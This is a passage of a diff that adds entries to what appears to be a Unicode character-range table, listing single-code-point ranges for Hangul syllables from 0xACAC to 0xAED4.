+ [0xacac, 0xacac], /* Hangul Syllable */
+ [0xacad, 0xacad], /* Hangul Syllable */
+ [0xacae, 0xacae], /* Hangul Syllable */
+ [0xacaf, 0xacaf], /* Hangul Syllable */
+ [0xacb0, 0xacb0], /* Hangul Syllable */
+ [0xacb1, 0xacb1], /* Hangul Syllable */
+ [0xacb2, 0xacb2], /* Hangul Syllable */
+ [0xacb3, 0xacb3], /* Hangul Syllable */
+ [0xacb4, 0xacb4], /* Hangul Syllable */
+ [0xacb5, 0xacb5], /* Hangul Syllable */
+ [0xacb6, 0xacb6], /* Hangul Syllable */
+ [0xacb7, 0xacb7], /* Hangul Syllable */
+ [0xacb8, 0xacb8], /* Hangul Syllable */
+ [0xacb9, 0xacb9], /* Hangul Syllable */
+ [0xacba, 0xacba], /* Hangul Syllable */
+ [0xacbb, 0xacbb], /* Hangul Syllable */
+ [0xacbc, 0xacbc], /* Hangul Syllable */
+ [0xacbd, 0xacbd], /* Hangul Syllable */
+ [0xacbe, 0xacbe], /* Hangul Syllable */
+ [0xacbf, 0xacbf], /* Hangul Syllable */
+ [0xacc0, 0xacc0], /* Hangul Syllable */
+ [0xacc1, 0xacc1], /* Hangul Syllable */
+ [0xacc2, 0xacc2], /* Hangul Syllable */
+ [0xacc3, 0xacc3], /* Hangul Syllable */
+ [0xacc4, 0xacc4], /* Hangul Syllable */
+ [0xacc5, 0xacc5], /* Hangul Syllable */
+ [0xacc6, 0xacc6], /* Hangul Syllable */
+ [0xacc7, 0xacc7], /* Hangul Syllable */
+ [0xacc8, 0xacc8], /* Hangul Syllable */
+ [0xacc9, 0xacc9], /* Hangul Syllable */
+ [0xacca, 0xacca], /* Hangul Syllable */
+ [0xaccb, 0xaccb], /* Hangul Syllable */
+ [0xaccc, 0xaccc], /* Hangul Syllable */
+ [0xaccd, 0xaccd], /* Hangul Syllable */
+ [0xacce, 0xacce], /* Hangul Syllable */
+ [0xaccf, 0xaccf], /* Hangul Syllable */
+ [0xacd0, 0xacd0], /* Hangul Syllable */
+ [0xacd1, 0xacd1], /* Hangul Syllable */
+ [0xacd2, 0xacd2], /* Hangul Syllable */
+ [0xacd3, 0xacd3], /* Hangul Syllable */
+ [0xacd4, 0xacd4], /* Hangul Syllable */
+ [0xacd5, 0xacd5], /* Hangul Syllable */
+ [0xacd6, 0xacd6], /* Hangul Syllable */
+ [0xacd7, 0xacd7], /* Hangul Syllable */
+ [0xacd8, 0xacd8], /* Hangul Syllable */
+ [0xacd9, 0xacd9], /* Hangul Syllable */
+ [0xacda, 0xacda], /* Hangul Syllable */
+ [0xacdb, 0xacdb], /* Hangul Syllable */
+ [0xacdc, 0xacdc], /* Hangul Syllable */
+ [0xacdd, 0xacdd], /* Hangul Syllable */
+ [0xacde, 0xacde], /* Hangul Syllable */
+ [0xacdf, 0xacdf], /* Hangul Syllable */
+ [0xace0, 0xace0], /* Hangul Syllable */
+ [0xace1, 0xace1], /* Hangul Syllable */
+ [0xace2, 0xace2], /* Hangul Syllable */
+ [0xace3, 0xace3], /* Hangul Syllable */
+ [0xace4, 0xace4], /* Hangul Syllable */
+ [0xace5, 0xace5], /* Hangul Syllable */
+ [0xace6, 0xace6], /* Hangul Syllable */
+ [0xace7, 0xace7], /* Hangul Syllable */
+ [0xace8, 0xace8], /* Hangul Syllable */
+ [0xace9, 0xace9], /* Hangul Syllable */
+ [0xacea, 0xacea], /* Hangul Syllable */
+ [0xaceb, 0xaceb], /* Hangul Syllable */
+ [0xacec, 0xacec], /* Hangul Syllable */
+ [0xaced, 0xaced], /* Hangul Syllable */
+ [0xacee, 0xacee], /* Hangul Syllable */
+ [0xacef, 0xacef], /* Hangul Syllable */
+ [0xacf0, 0xacf0], /* Hangul Syllable */
+ [0xacf1, 0xacf1], /* Hangul Syllable */
+ [0xacf2, 0xacf2], /* Hangul Syllable */
+ [0xacf3, 0xacf3], /* Hangul Syllable */
+ [0xacf4, 0xacf4], /* Hangul Syllable */
+ [0xacf5, 0xacf5], /* Hangul Syllable */
+ [0xacf6, 0xacf6], /* Hangul Syllable */
+ [0xacf7, 0xacf7], /* Hangul Syllable */
+ [0xacf8, 0xacf8], /* Hangul Syllable */
+ [0xacf9, 0xacf9], /* Hangul Syllable */
+ [0xacfa, 0xacfa], /* Hangul Syllable */
+ [0xacfb, 0xacfb], /* Hangul Syllable */
+ [0xacfc, 0xacfc], /* Hangul Syllable */
+ [0xacfd, 0xacfd], /* Hangul Syllable */
+ [0xacfe, 0xacfe], /* Hangul Syllable */
+ [0xacff, 0xacff], /* Hangul Syllable */
+ [0xad00, 0xad00], /* Hangul Syllable */
+ [0xad01, 0xad01], /* Hangul Syllable */
+ [0xad02, 0xad02], /* Hangul Syllable */
+ [0xad03, 0xad03], /* Hangul Syllable */
+ [0xad04, 0xad04], /* Hangul Syllable */
+ [0xad05, 0xad05], /* Hangul Syllable */
+ [0xad06, 0xad06], /* Hangul Syllable */
+ [0xad07, 0xad07], /* Hangul Syllable */
+ [0xad08, 0xad08], /* Hangul Syllable */
+ [0xad09, 0xad09], /* Hangul Syllable */
+ [0xad0a, 0xad0a], /* Hangul Syllable */
+ [0xad0b, 0xad0b], /* Hangul Syllable */
+ [0xad0c, 0xad0c], /* Hangul Syllable */
+ [0xad0d, 0xad0d], /* Hangul Syllable */
+ [0xad0e, 0xad0e], /* Hangul Syllable */
+ [0xad0f, 0xad0f], /* Hangul Syllable */
+ [0xad10, 0xad10], /* Hangul Syllable */
+ [0xad11, 0xad11], /* Hangul Syllable */
+ [0xad12, 0xad12], /* Hangul Syllable */
+ [0xad13, 0xad13], /* Hangul Syllable */
+ [0xad14, 0xad14], /* Hangul Syllable */
+ [0xad15, 0xad15], /* Hangul Syllable */
+ [0xad16, 0xad16], /* Hangul Syllable */
+ [0xad17, 0xad17], /* Hangul Syllable */
+ [0xad18, 0xad18], /* Hangul Syllable */
+ [0xad19, 0xad19], /* Hangul Syllable */
+ [0xad1a, 0xad1a], /* Hangul Syllable */
+ [0xad1b, 0xad1b], /* Hangul Syllable */
+ [0xad1c, 0xad1c], /* Hangul Syllable */
+ [0xad1d, 0xad1d], /* Hangul Syllable */
+ [0xad1e, 0xad1e], /* Hangul Syllable */
+ [0xad1f, 0xad1f], /* Hangul Syllable */
+ [0xad20, 0xad20], /* Hangul Syllable */
+ [0xad21, 0xad21], /* Hangul Syllable */
+ [0xad22, 0xad22], /* Hangul Syllable */
+ [0xad23, 0xad23], /* Hangul Syllable */
+ [0xad24, 0xad24], /* Hangul Syllable */
+ [0xad25, 0xad25], /* Hangul Syllable */
+ [0xad26, 0xad26], /* Hangul Syllable */
+ [0xad27, 0xad27], /* Hangul Syllable */
+ [0xad28, 0xad28], /* Hangul Syllable */
+ [0xad29, 0xad29], /* Hangul Syllable */
+ [0xad2a, 0xad2a], /* Hangul Syllable */
+ [0xad2b, 0xad2b], /* Hangul Syllable */
+ [0xad2c, 0xad2c], /* Hangul Syllable */
+ [0xad2d, 0xad2d], /* Hangul Syllable */
+ [0xad2e, 0xad2e], /* Hangul Syllable */
+ [0xad2f, 0xad2f], /* Hangul Syllable */
+ [0xad30, 0xad30], /* Hangul Syllable */
+ [0xad31, 0xad31], /* Hangul Syllable */
+ [0xad32, 0xad32], /* Hangul Syllable */
+ [0xad33, 0xad33], /* Hangul Syllable */
+ [0xad34, 0xad34], /* Hangul Syllable */
+ [0xad35, 0xad35], /* Hangul Syllable */
+ [0xad36, 0xad36], /* Hangul Syllable */
+ [0xad37, 0xad37], /* Hangul Syllable */
+ [0xad38, 0xad38], /* Hangul Syllable */
+ [0xad39, 0xad39], /* Hangul Syllable */
+ [0xad3a, 0xad3a], /* Hangul Syllable */
+ [0xad3b, 0xad3b], /* Hangul Syllable */
+ [0xad3c, 0xad3c], /* Hangul Syllable */
+ [0xad3d, 0xad3d], /* Hangul Syllable */
+ [0xad3e, 0xad3e], /* Hangul Syllable */
+ [0xad3f, 0xad3f], /* Hangul Syllable */
+ [0xad40, 0xad40], /* Hangul Syllable */
+ [0xad41, 0xad41], /* Hangul Syllable */
+ [0xad42, 0xad42], /* Hangul Syllable */
+ [0xad43, 0xad43], /* Hangul Syllable */
+ [0xad44, 0xad44], /* Hangul Syllable */
+ [0xad45, 0xad45], /* Hangul Syllable */
+ [0xad46, 0xad46], /* Hangul Syllable */
+ [0xad47, 0xad47], /* Hangul Syllable */
+ [0xad48, 0xad48], /* Hangul Syllable */
+ [0xad49, 0xad49], /* Hangul Syllable */
+ [0xad4a, 0xad4a], /* Hangul Syllable */
+ [0xad4b, 0xad4b], /* Hangul Syllable */
+ [0xad4c, 0xad4c], /* Hangul Syllable */
+ [0xad4d, 0xad4d], /* Hangul Syllable */
+ [0xad4e, 0xad4e], /* Hangul Syllable */
+ [0xad4f, 0xad4f], /* Hangul Syllable */
+ [0xad50, 0xad50], /* Hangul Syllable */
+ [0xad51, 0xad51], /* Hangul Syllable */
+ [0xad52, 0xad52], /* Hangul Syllable */
+ [0xad53, 0xad53], /* Hangul Syllable */
+ [0xad54, 0xad54], /* Hangul Syllable */
+ [0xad55, 0xad55], /* Hangul Syllable */
+ [0xad56, 0xad56], /* Hangul Syllable */
+ [0xad57, 0xad57], /* Hangul Syllable */
+ [0xad58, 0xad58], /* Hangul Syllable */
+ [0xad59, 0xad59], /* Hangul Syllable */
+ [0xad5a, 0xad5a], /* Hangul Syllable */
+ [0xad5b, 0xad5b], /* Hangul Syllable */
+ [0xad5c, 0xad5c], /* Hangul Syllable */
+ [0xad5d, 0xad5d], /* Hangul Syllable */
+ [0xad5e, 0xad5e], /* Hangul Syllable */
+ [0xad5f, 0xad5f], /* Hangul Syllable */
+ [0xad60, 0xad60], /* Hangul Syllable */
+ [0xad61, 0xad61], /* Hangul Syllable */
+ [0xad62, 0xad62], /* Hangul Syllable */
+ [0xad63, 0xad63], /* Hangul Syllable */
+ [0xad64, 0xad64], /* Hangul Syllable */
+ [0xad65, 0xad65], /* Hangul Syllable */
+ [0xad66, 0xad66], /* Hangul Syllable */
+ [0xad67, 0xad67], /* Hangul Syllable */
+ [0xad68, 0xad68], /* Hangul Syllable */
+ [0xad69, 0xad69], /* Hangul Syllable */
+ [0xad6a, 0xad6a], /* Hangul Syllable */
+ [0xad6b, 0xad6b], /* Hangul Syllable */
+ [0xad6c, 0xad6c], /* Hangul Syllable */
+ [0xad6d, 0xad6d], /* Hangul Syllable */
+ [0xad6e, 0xad6e], /* Hangul Syllable */
+ [0xad6f, 0xad6f], /* Hangul Syllable */
+ [0xad70, 0xad70], /* Hangul Syllable */
+ [0xad71, 0xad71], /* Hangul Syllable */
+ [0xad72, 0xad72], /* Hangul Syllable */
+ [0xad73, 0xad73], /* Hangul Syllable */
+ [0xad74, 0xad74], /* Hangul Syllable */
+ [0xad75, 0xad75], /* Hangul Syllable */
+ [0xad76, 0xad76], /* Hangul Syllable */
+ [0xad77, 0xad77], /* Hangul Syllable */
+ [0xad78, 0xad78], /* Hangul Syllable */
+ [0xad79, 0xad79], /* Hangul Syllable */
+ [0xad7a, 0xad7a], /* Hangul Syllable */
+ [0xad7b, 0xad7b], /* Hangul Syllable */
+ [0xad7c, 0xad7c], /* Hangul Syllable */
+ [0xad7d, 0xad7d], /* Hangul Syllable */
+ [0xad7e, 0xad7e], /* Hangul Syllable */
+ [0xad7f, 0xad7f], /* Hangul Syllable */
+ [0xad80, 0xad80], /* Hangul Syllable */
+ [0xad81, 0xad81], /* Hangul Syllable */
+ [0xad82, 0xad82], /* Hangul Syllable */
+ [0xad83, 0xad83], /* Hangul Syllable */
+ [0xad84, 0xad84], /* Hangul Syllable */
+ [0xad85, 0xad85], /* Hangul Syllable */
+ [0xad86, 0xad86], /* Hangul Syllable */
+ [0xad87, 0xad87], /* Hangul Syllable */
+ [0xad88, 0xad88], /* Hangul Syllable */
+ [0xad89, 0xad89], /* Hangul Syllable */
+ [0xad8a, 0xad8a], /* Hangul Syllable */
+ [0xad8b, 0xad8b], /* Hangul Syllable */
+ [0xad8c, 0xad8c], /* Hangul Syllable */
+ [0xad8d, 0xad8d], /* Hangul Syllable */
+ [0xad8e, 0xad8e], /* Hangul Syllable */
+ [0xad8f, 0xad8f], /* Hangul Syllable */
+ [0xad90, 0xad90], /* Hangul Syllable */
+ [0xad91, 0xad91], /* Hangul Syllable */
+ [0xad92, 0xad92], /* Hangul Syllable */
+ [0xad93, 0xad93], /* Hangul Syllable */
+ [0xad94, 0xad94], /* Hangul Syllable */
+ [0xad95, 0xad95], /* Hangul Syllable */
+ [0xad96, 0xad96], /* Hangul Syllable */
+ [0xad97, 0xad97], /* Hangul Syllable */
+ [0xad98, 0xad98], /* Hangul Syllable */
+ [0xad99, 0xad99], /* Hangul Syllable */
+ [0xad9a, 0xad9a], /* Hangul Syllable */
+ [0xad9b, 0xad9b], /* Hangul Syllable */
+ [0xad9c, 0xad9c], /* Hangul Syllable */
+ [0xad9d, 0xad9d], /* Hangul Syllable */
+ [0xad9e, 0xad9e], /* Hangul Syllable */
+ [0xad9f, 0xad9f], /* Hangul Syllable */
+ [0xada0, 0xada0], /* Hangul Syllable */
+ [0xada1, 0xada1], /* Hangul Syllable */
+ [0xada2, 0xada2], /* Hangul Syllable */
+ [0xada3, 0xada3], /* Hangul Syllable */
+ [0xada4, 0xada4], /* Hangul Syllable */
+ [0xada5, 0xada5], /* Hangul Syllable */
+ [0xada6, 0xada6], /* Hangul Syllable */
+ [0xada7, 0xada7], /* Hangul Syllable */
+ [0xada8, 0xada8], /* Hangul Syllable */
+ [0xada9, 0xada9], /* Hangul Syllable */
+ [0xadaa, 0xadaa], /* Hangul Syllable */
+ [0xadab, 0xadab], /* Hangul Syllable */
+ [0xadac, 0xadac], /* Hangul Syllable */
+ [0xadad, 0xadad], /* Hangul Syllable */
+ [0xadae, 0xadae], /* Hangul Syllable */
+ [0xadaf, 0xadaf], /* Hangul Syllable */
+ [0xadb0, 0xadb0], /* Hangul Syllable */
+ [0xadb1, 0xadb1], /* Hangul Syllable */
+ [0xadb2, 0xadb2], /* Hangul Syllable */
+ [0xadb3, 0xadb3], /* Hangul Syllable */
+ [0xadb4, 0xadb4], /* Hangul Syllable */
+ [0xadb5, 0xadb5], /* Hangul Syllable */
+ [0xadb6, 0xadb6], /* Hangul Syllable */
+ [0xadb7, 0xadb7], /* Hangul Syllable */
+ [0xadb8, 0xadb8], /* Hangul Syllable */
+ [0xadb9, 0xadb9], /* Hangul Syllable */
+ [0xadba, 0xadba], /* Hangul Syllable */
+ [0xadbb, 0xadbb], /* Hangul Syllable */
+ [0xadbc, 0xadbc], /* Hangul Syllable */
+ [0xadbd, 0xadbd], /* Hangul Syllable */
+ [0xadbe, 0xadbe], /* Hangul Syllable */
+ [0xadbf, 0xadbf], /* Hangul Syllable */
+ [0xadc0, 0xadc0], /* Hangul Syllable */
+ [0xadc1, 0xadc1], /* Hangul Syllable */
+ [0xadc2, 0xadc2], /* Hangul Syllable */
+ [0xadc3, 0xadc3], /* Hangul Syllable */
+ [0xadc4, 0xadc4], /* Hangul Syllable */
+ [0xadc5, 0xadc5], /* Hangul Syllable */
+ [0xadc6, 0xadc6], /* Hangul Syllable */
+ [0xadc7, 0xadc7], /* Hangul Syllable */
+ [0xadc8, 0xadc8], /* Hangul Syllable */
+ [0xadc9, 0xadc9], /* Hangul Syllable */
+ [0xadca, 0xadca], /* Hangul Syllable */
+ [0xadcb, 0xadcb], /* Hangul Syllable */
+ [0xadcc, 0xadcc], /* Hangul Syllable */
+ [0xadcd, 0xadcd], /* Hangul Syllable */
+ [0xadce, 0xadce], /* Hangul Syllable */
+ [0xadcf, 0xadcf], /* Hangul Syllable */
+ [0xadd0, 0xadd0], /* Hangul Syllable */
+ [0xadd1, 0xadd1], /* Hangul Syllable */
+ [0xadd2, 0xadd2], /* Hangul Syllable */
+ [0xadd3, 0xadd3], /* Hangul Syllable */
+ [0xadd4, 0xadd4], /* Hangul Syllable */
+ [0xadd5, 0xadd5], /* Hangul Syllable */
+ [0xadd6, 0xadd6], /* Hangul Syllable */
+ [0xadd7, 0xadd7], /* Hangul Syllable */
+ [0xadd8, 0xadd8], /* Hangul Syllable */
+ [0xadd9, 0xadd9], /* Hangul Syllable */
+ [0xadda, 0xadda], /* Hangul Syllable */
+ [0xaddb, 0xaddb], /* Hangul Syllable */
+ [0xaddc, 0xaddc], /* Hangul Syllable */
+ [0xaddd, 0xaddd], /* Hangul Syllable */
+ [0xadde, 0xadde], /* Hangul Syllable */
+ [0xaddf, 0xaddf], /* Hangul Syllable */
+ [0xade0, 0xade0], /* Hangul Syllable */
+ [0xade1, 0xade1], /* Hangul Syllable */
+ [0xade2, 0xade2], /* Hangul Syllable */
+ [0xade3, 0xade3], /* Hangul Syllable */
+ [0xade4, 0xade4], /* Hangul Syllable */
+ [0xade5, 0xade5], /* Hangul Syllable */
+ [0xade6, 0xade6], /* Hangul Syllable */
+ [0xade7, 0xade7], /* Hangul Syllable */
+ [0xade8, 0xade8], /* Hangul Syllable */
+ [0xade9, 0xade9], /* Hangul Syllable */
+ [0xadea, 0xadea], /* Hangul Syllable */
+ [0xadeb, 0xadeb], /* Hangul Syllable */
+ [0xadec, 0xadec], /* Hangul Syllable */
+ [0xaded, 0xaded], /* Hangul Syllable */
+ [0xadee, 0xadee], /* Hangul Syllable */
+ [0xadef, 0xadef], /* Hangul Syllable */
+ [0xadf0, 0xadf0], /* Hangul Syllable */
+ [0xadf1, 0xadf1], /* Hangul Syllable */
+ [0xadf2, 0xadf2], /* Hangul Syllable */
+ [0xadf3, 0xadf3], /* Hangul Syllable */
+ [0xadf4, 0xadf4], /* Hangul Syllable */
+ [0xadf5, 0xadf5], /* Hangul Syllable */
+ [0xadf6, 0xadf6], /* Hangul Syllable */
+ [0xadf7, 0xadf7], /* Hangul Syllable */
+ [0xadf8, 0xadf8], /* Hangul Syllable */
+ [0xadf9, 0xadf9], /* Hangul Syllable */
+ [0xadfa, 0xadfa], /* Hangul Syllable */
+ [0xadfb, 0xadfb], /* Hangul Syllable */
+ [0xadfc, 0xadfc], /* Hangul Syllable */
+ [0xadfd, 0xadfd], /* Hangul Syllable */
+ [0xadfe, 0xadfe], /* Hangul Syllable */
+ [0xadff, 0xadff], /* Hangul Syllable */
+ [0xae00, 0xae00], /* Hangul Syllable */
+ [0xae01, 0xae01], /* Hangul Syllable */
+ [0xae02, 0xae02], /* Hangul Syllable */
+ [0xae03, 0xae03], /* Hangul Syllable */
+ [0xae04, 0xae04], /* Hangul Syllable */
+ [0xae05, 0xae05], /* Hangul Syllable */
+ [0xae06, 0xae06], /* Hangul Syllable */
+ [0xae07, 0xae07], /* Hangul Syllable */
+ [0xae08, 0xae08], /* Hangul Syllable */
+ [0xae09, 0xae09], /* Hangul Syllable */
+ [0xae0a, 0xae0a], /* Hangul Syllable */
+ [0xae0b, 0xae0b], /* Hangul Syllable */
+ [0xae0c, 0xae0c], /* Hangul Syllable */
+ [0xae0d, 0xae0d], /* Hangul Syllable */
+ [0xae0e, 0xae0e], /* Hangul Syllable */
+ [0xae0f, 0xae0f], /* Hangul Syllable */
+ [0xae10, 0xae10], /* Hangul Syllable */
+ [0xae11, 0xae11], /* Hangul Syllable */
+ [0xae12, 0xae12], /* Hangul Syllable */
+ [0xae13, 0xae13], /* Hangul Syllable */
+ [0xae14, 0xae14], /* Hangul Syllable */
+ [0xae15, 0xae15], /* Hangul Syllable */
+ [0xae16, 0xae16], /* Hangul Syllable */
+ [0xae17, 0xae17], /* Hangul Syllable */
+ [0xae18, 0xae18], /* Hangul Syllable */
+ [0xae19, 0xae19], /* Hangul Syllable */
+ [0xae1a, 0xae1a], /* Hangul Syllable */
+ [0xae1b, 0xae1b], /* Hangul Syllable */
+ [0xae1c, 0xae1c], /* Hangul Syllable */
+ [0xae1d, 0xae1d], /* Hangul Syllable */
+ [0xae1e, 0xae1e], /* Hangul Syllable */
+ [0xae1f, 0xae1f], /* Hangul Syllable */
+ [0xae20, 0xae20], /* Hangul Syllable */
+ [0xae21, 0xae21], /* Hangul Syllable */
+ [0xae22, 0xae22], /* Hangul Syllable */
+ [0xae23, 0xae23], /* Hangul Syllable */
+ [0xae24, 0xae24], /* Hangul Syllable */
+ [0xae25, 0xae25], /* Hangul Syllable */
+ [0xae26, 0xae26], /* Hangul Syllable */
+ [0xae27, 0xae27], /* Hangul Syllable */
+ [0xae28, 0xae28], /* Hangul Syllable */
+ [0xae29, 0xae29], /* Hangul Syllable */
+ [0xae2a, 0xae2a], /* Hangul Syllable */
+ [0xae2b, 0xae2b], /* Hangul Syllable */
+ [0xae2c, 0xae2c], /* Hangul Syllable */
+ [0xae2d, 0xae2d], /* Hangul Syllable */
+ [0xae2e, 0xae2e], /* Hangul Syllable */
+ [0xae2f, 0xae2f], /* Hangul Syllable */
+ [0xae30, 0xae30], /* Hangul Syllable */
+ [0xae31, 0xae31], /* Hangul Syllable */
+ [0xae32, 0xae32], /* Hangul Syllable */
+ [0xae33, 0xae33], /* Hangul Syllable */
+ [0xae34, 0xae34], /* Hangul Syllable */
+ [0xae35, 0xae35], /* Hangul Syllable */
+ [0xae36, 0xae36], /* Hangul Syllable */
+ [0xae37, 0xae37], /* Hangul Syllable */
+ [0xae38, 0xae38], /* Hangul Syllable */
+ [0xae39, 0xae39], /* Hangul Syllable */
+ [0xae3a, 0xae3a], /* Hangul Syllable */
+ [0xae3b, 0xae3b], /* Hangul Syllable */
+ [0xae3c, 0xae3c], /* Hangul Syllable */
+ [0xae3d, 0xae3d], /* Hangul Syllable */
+ [0xae3e, 0xae3e], /* Hangul Syllable */
+ [0xae3f, 0xae3f], /* Hangul Syllable */
+ [0xae40, 0xae40], /* Hangul Syllable */
+ [0xae41, 0xae41], /* Hangul Syllable */
+ [0xae42, 0xae42], /* Hangul Syllable */
+ [0xae43, 0xae43], /* Hangul Syllable */
+ [0xae44, 0xae44], /* Hangul Syllable */
+ [0xae45, 0xae45], /* Hangul Syllable */
+ [0xae46, 0xae46], /* Hangul Syllable */
+ [0xae47, 0xae47], /* Hangul Syllable */
+ [0xae48, 0xae48], /* Hangul Syllable */
+ [0xae49, 0xae49], /* Hangul Syllable */
+ [0xae4a, 0xae4a], /* Hangul Syllable */
+ [0xae4b, 0xae4b], /* Hangul Syllable */
+ [0xae4c, 0xae4c], /* Hangul Syllable */
+ [0xae4d, 0xae4d], /* Hangul Syllable */
+ [0xae4e, 0xae4e], /* Hangul Syllable */
+ [0xae4f, 0xae4f], /* Hangul Syllable */
+ [0xae50, 0xae50], /* Hangul Syllable */
+ [0xae51, 0xae51], /* Hangul Syllable */
+ [0xae52, 0xae52], /* Hangul Syllable */
+ [0xae53, 0xae53], /* Hangul Syllable */
+ [0xae54, 0xae54], /* Hangul Syllable */
+ [0xae55, 0xae55], /* Hangul Syllable */
+ [0xae56, 0xae56], /* Hangul Syllable */
+ [0xae57, 0xae57], /* Hangul Syllable */
+ [0xae58, 0xae58], /* Hangul Syllable */
+ [0xae59, 0xae59], /* Hangul Syllable */
+ [0xae5a, 0xae5a], /* Hangul Syllable */
+ [0xae5b, 0xae5b], /* Hangul Syllable */
+ [0xae5c, 0xae5c], /* Hangul Syllable */
+ [0xae5d, 0xae5d], /* Hangul Syllable */
+ [0xae5e, 0xae5e], /* Hangul Syllable */
+ [0xae5f, 0xae5f], /* Hangul Syllable */
+ [0xae60, 0xae60], /* Hangul Syllable */
+ [0xae61, 0xae61], /* Hangul Syllable */
+ [0xae62, 0xae62], /* Hangul Syllable */
+ [0xae63, 0xae63], /* Hangul Syllable */
+ [0xae64, 0xae64], /* Hangul Syllable */
+ [0xae65, 0xae65], /* Hangul Syllable */
+ [0xae66, 0xae66], /* Hangul Syllable */
+ [0xae67, 0xae67], /* Hangul Syllable */
+ [0xae68, 0xae68], /* Hangul Syllable */
+ [0xae69, 0xae69], /* Hangul Syllable */
+ [0xae6a, 0xae6a], /* Hangul Syllable */
+ [0xae6b, 0xae6b], /* Hangul Syllable */
+ [0xae6c, 0xae6c], /* Hangul Syllable */
+ [0xae6d, 0xae6d], /* Hangul Syllable */
+ [0xae6e, 0xae6e], /* Hangul Syllable */
+ [0xae6f, 0xae6f], /* Hangul Syllable */
+ [0xae70, 0xae70], /* Hangul Syllable */
+ [0xae71, 0xae71], /* Hangul Syllable */
+ [0xae72, 0xae72], /* Hangul Syllable */
+ [0xae73, 0xae73], /* Hangul Syllable */
+ [0xae74, 0xae74], /* Hangul Syllable */
+ [0xae75, 0xae75], /* Hangul Syllable */
+ [0xae76, 0xae76], /* Hangul Syllable */
+ [0xae77, 0xae77], /* Hangul Syllable */
+ [0xae78, 0xae78], /* Hangul Syllable */
+ [0xae79, 0xae79], /* Hangul Syllable */
+ [0xae7a, 0xae7a], /* Hangul Syllable */
+ [0xae7b, 0xae7b], /* Hangul Syllable */
+ [0xae7c, 0xae7c], /* Hangul Syllable */
+ [0xae7d, 0xae7d], /* Hangul Syllable */
+ [0xae7e, 0xae7e], /* Hangul Syllable */
+ [0xae7f, 0xae7f], /* Hangul Syllable */
+ [0xae80, 0xae80], /* Hangul Syllable */
+ [0xae81, 0xae81], /* Hangul Syllable */
+ [0xae82, 0xae82], /* Hangul Syllable */
+ [0xae83, 0xae83], /* Hangul Syllable */
+ [0xae84, 0xae84], /* Hangul Syllable */
+ [0xae85, 0xae85], /* Hangul Syllable */
+ [0xae86, 0xae86], /* Hangul Syllable */
+ [0xae87, 0xae87], /* Hangul Syllable */
+ [0xae88, 0xae88], /* Hangul Syllable */
+ [0xae89, 0xae89], /* Hangul Syllable */
+ [0xae8a, 0xae8a], /* Hangul Syllable */
+ [0xae8b, 0xae8b], /* Hangul Syllable */
+ [0xae8c, 0xae8c], /* Hangul Syllable */
+ [0xae8d, 0xae8d], /* Hangul Syllable */
+ [0xae8e, 0xae8e], /* Hangul Syllable */
+ [0xae8f, 0xae8f], /* Hangul Syllable */
+ [0xae90, 0xae90], /* Hangul Syllable */
+ [0xae91, 0xae91], /* Hangul Syllable */
+ [0xae92, 0xae92], /* Hangul Syllable */
+ [0xae93, 0xae93], /* Hangul Syllable */
+ [0xae94, 0xae94], /* Hangul Syllable */
+ [0xae95, 0xae95], /* Hangul Syllable */
+ [0xae96, 0xae96], /* Hangul Syllable */
+ [0xae97, 0xae97], /* Hangul Syllable */
+ [0xae98, 0xae98], /* Hangul Syllable */
+ [0xae99, 0xae99], /* Hangul Syllable */
+ [0xae9a, 0xae9a], /* Hangul Syllable */
+ [0xae9b, 0xae9b], /* Hangul Syllable */
+ [0xae9c, 0xae9c], /* Hangul Syllable */
+ [0xae9d, 0xae9d], /* Hangul Syllable */
+ [0xae9e, 0xae9e], /* Hangul Syllable */
+ [0xae9f, 0xae9f], /* Hangul Syllable */
+ [0xaea0, 0xaea0], /* Hangul Syllable */
+ [0xaea1, 0xaea1], /* Hangul Syllable */
+ [0xaea2, 0xaea2], /* Hangul Syllable */
+ [0xaea3, 0xaea3], /* Hangul Syllable */
+ [0xaea4, 0xaea4], /* Hangul Syllable */
+ [0xaea5, 0xaea5], /* Hangul Syllable */
+ [0xaea6, 0xaea6], /* Hangul Syllable */
+ [0xaea7, 0xaea7], /* Hangul Syllable */
+ [0xaea8, 0xaea8], /* Hangul Syllable */
+ [0xaea9, 0xaea9], /* Hangul Syllable */
+ [0xaeaa, 0xaeaa], /* Hangul Syllable */
+ [0xaeab, 0xaeab], /* Hangul Syllable */
+ [0xaeac, 0xaeac], /* Hangul Syllable */
+ [0xaead, 0xaead], /* Hangul Syllable */
+ [0xaeae, 0xaeae], /* Hangul Syllable */
+ [0xaeaf, 0xaeaf], /* Hangul Syllable */
+ [0xaeb0, 0xaeb0], /* Hangul Syllable */
+ [0xaeb1, 0xaeb1], /* Hangul Syllable */
+ [0xaeb2, 0xaeb2], /* Hangul Syllable */
+ [0xaeb3, 0xaeb3], /* Hangul Syllable */
+ [0xaeb4, 0xaeb4], /* Hangul Syllable */
+ [0xaeb5, 0xaeb5], /* Hangul Syllable */
+ [0xaeb6, 0xaeb6], /* Hangul Syllable */
+ [0xaeb7, 0xaeb7], /* Hangul Syllable */
+ [0xaeb8, 0xaeb8], /* Hangul Syllable */
+ [0xaeb9, 0xaeb9], /* Hangul Syllable */
+ [0xaeba, 0xaeba], /* Hangul Syllable */
+ [0xaebb, 0xaebb], /* Hangul Syllable */
+ [0xaebc, 0xaebc], /* Hangul Syllable */
+ [0xaebd, 0xaebd], /* Hangul Syllable */
+ [0xaebe, 0xaebe], /* Hangul Syllable */
+ [0xaebf, 0xaebf], /* Hangul Syllable */
+ [0xaec0, 0xaec0], /* Hangul Syllable */
+ [0xaec1, 0xaec1], /* Hangul Syllable */
+ [0xaec2, 0xaec2], /* Hangul Syllable */
+ [0xaec3, 0xaec3], /* Hangul Syllable */
+ [0xaec4, 0xaec4], /* Hangul Syllable */
+ [0xaec5, 0xaec5], /* Hangul Syllable */
+ [0xaec6, 0xaec6], /* Hangul Syllable */
+ [0xaec7, 0xaec7], /* Hangul Syllable */
+ [0xaec8, 0xaec8], /* Hangul Syllable */
+ [0xaec9, 0xaec9], /* Hangul Syllable */
+ [0xaeca, 0xaeca], /* Hangul Syllable */
+ [0xaecb, 0xaecb], /* Hangul Syllable */
+ [0xaecc, 0xaecc], /* Hangul Syllable */
+ [0xaecd, 0xaecd], /* Hangul Syllable */
+ [0xaece, 0xaece], /* Hangul Syllable */
+ [0xaecf, 0xaecf], /* Hangul Syllable */
+ [0xaed0, 0xaed0], /* Hangul Syllable */
+ [0xaed1, 0xaed1], /* Hangul Syllable */
+ [0xaed2, 0xaed2], /* Hangul Syllable */
+ [0xaed3, 0xaed3], /* Hangul Syllable */
+ [0xaed4, 0xaed4], /* Hangul Syllable */
